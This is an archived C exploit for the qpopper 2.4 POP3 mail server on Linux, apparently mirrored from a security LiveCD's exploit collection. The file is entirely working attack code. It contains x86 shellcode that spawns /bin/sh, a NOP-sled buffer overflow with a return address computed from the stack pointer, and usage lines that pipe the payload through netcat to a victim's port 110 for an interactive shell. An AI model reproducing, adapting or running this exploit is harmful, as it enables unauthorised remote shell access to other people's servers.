home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / qpopper / linux-qpopper.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  51 lines

  1. /* Exploit for qpopper 2.4 (and others) for Linux
  2.  *   by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
  3.  *
  4.  *  usage: (./qpopper <offset>;cat)|nc <victim> 110
  5.  *       with offset around 1000 (try increments of 50)
  6.  *
  7.  *
  8.  *    shout outs to: Zef and YZF
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13.  
  14. #define BUFFSIZE 998
  15.  
  16. char shell[] =
  17.    "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
  18.    "\x88\x66\x07\x83\xee\x02\x31\xdb"
  19.    "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
  20.    "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
  21.    "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
  22.    "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
  23.    "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
  24.    "\xff\xff/bin/sh";
  25.  
  26. unsigned long esp()
  27. {
  28.   __asm__(" movl %esp,%eax ");
  29. }
  30.  
  31. main(int argc, char **argv)
  32. {
  33.   int i,j,offset;
  34.   unsigned long eip;
  35.   char buffer[4096];
  36.  
  37.   j=0;
  38.   offset=atoi(argv[1]);
  39.   eip=esp()+offset;
  40.   for(i=0;i<1008;i++) buffer[i]=0x90;
  41.   for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];
  42.  
  43.   i=1005;
  44.   buffer[i]=eip & 0xff;
  45.   buffer[i+1]=(eip >> 8) & 0xff;
  46.   buffer[i+2]=(eip >> 16) & 0xff;
  47.   buffer[i+3]=(eip >> 24) & 0xff;
  48.  
  49.   printf("%s\nsh -i\n",buffer);
  50. }
  51.